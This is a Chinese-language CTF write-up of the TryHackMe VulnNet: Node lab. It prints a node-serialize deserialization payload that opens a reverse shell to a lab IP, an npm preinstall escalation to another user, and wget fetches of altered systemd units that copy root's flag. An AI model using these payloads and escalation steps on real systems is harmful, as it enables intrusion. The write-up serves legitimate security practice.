学习TryHackMe VulnNet: Node CTF写法

146 阅读4分钟

让我们来看看[VulnNet。Node]的CTF。

VulnNet

第一步是用nmap ,它显示了一个运行在8080端口的Web应用程序。根据nmap提供的信息,这个网络应用运行Node.js和Express框架。

在检查页面时,有一个登录,它没有连接到后台,还有一些静态内容。我们试着用gobuster ,但没有发现任何有趣的东西。

不过,有一件事引起了我们的注意,那就是cookie。有一个session cookie,有一个base64编码的值。解码后发现了一些有趣的JSON。

我们对JSON进行了处理,将username 设置为Admin ,并设置了几个标志,如isLoggedIn: true 等。然而,唯一有趣的事情是,用户名似乎反映在主页面上。

然后我们想 "如果我们破坏了它,会发生什么?"于是我们放入了无效的JSON。有趣的是,一个异常被抛出,堆栈跟踪在页面上是可见的。有一件事让我印象深刻,就是node-serialize的使用。我曾经用Node.js开发过,也建过一些Express网站,但我从未听说过这个库。

结果,查看了该项目在GitHub上的 repo,发现了一个很大的安全警告,其中有一个例子说明了如何在反序列化过程中进行远程代码执行。

非常好!我们拿着这个例子,编辑了一下,包括一个来自这里的反向shell,放到1行中,在username 属性中。

{"username":"_$$ND_FUNC$$_function (){(function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(1234, '10.9.1.196', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});})();}()"}

我们把这个base64化,然后我们就可以把它设置为cookie。

打开一个本地netcat监听器,用新的cookie刷新网站,我们得到了我们的反向shell!

我们以www 用户的身份登录,不幸的是,还没有看到user.txt 标志。然而,我们可以看到还有一个叫做serv-manage 的用户。

在四处查看并运行linpeas找到privesc选项后,我们看到我们被允许以serv-manage 用户的身份运行npm

查阅GTFOBins发现有可能利用这一点,通过创建一个package.json 文件和一个preinstall 脚本,用/bin/sh 打开一个shell。

因此,我们创建一个package.json,内容如下。

echo '{"scripts": {"preinstall": "/bin/sh"}}' > package.json

然后,我们简单地运行sudo -u serv-manage /usr/bin/npm i ,瞧,我们以serv-manage 的身份登录,他们的主文件夹里就有user.txt 的标志,供我们阅读。

最后一步是将权限升级到root。输入sudo -l ,发现我们被允许以root身份运行几个命令。

  • /bin/systemctl start vulnnet-auto.timer
  • /bin/systemctl stop vulnnet-auto.timer
  • /bin/systemctl daemon-reload

有趣的是--我们可以使用这个!寻找/etc/systemd/system/vulnnet-auto.timer/etc/systemd/system/vulnnet-job.service 中的配置文件,发现有以下两个文件。

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

我们的想法是简单地改变定时器的运行频率(比如每5秒),使用OnCalendar=*:*:0/5 ,同时,将vulnnet-job.service ,而不是/bin/df ,将/root/root.txt 复制到我们的主文件夹,并给予我们阅读的权限。

因此,我们在本地创建了这两个替换文件,并通过HTTP服务器提供给他们,这样我们就可以在/etc/systemd/system/ 文件夹中获取并替换它们。

我们可以像这样获取它们。

wget -O vulnnet-job.service http://YOUR_IP/vulnnet-job.service
wget -O vulnnet-auto.timer http://YOUR_IP/vulnnet-auto.timer

更改后的文件看起来像这样。

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:*:0/5
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/cp /root/root.txt /home/serv-manage/root.txt && /bin/chown serv-manage:serv-manage /home/serv-manage/root.txt

[Install]
WantedBy=multi-user.target

做完这些后,我们只需调用daemon-reload ,然后是stopstart ,我们就可以在我们的主文件夹中读取标志了

这一步我们花了不少时间,在systemd配置文件中做手脚,找出调用systemctl 命令的顺序,但最后我们还是成功了

总结

这是一个多么有趣的CTF。我真的很喜欢这个设计,因为它的特点是有一些真实的漏洞,而且没有不顾一切地去混淆或误导攻击者。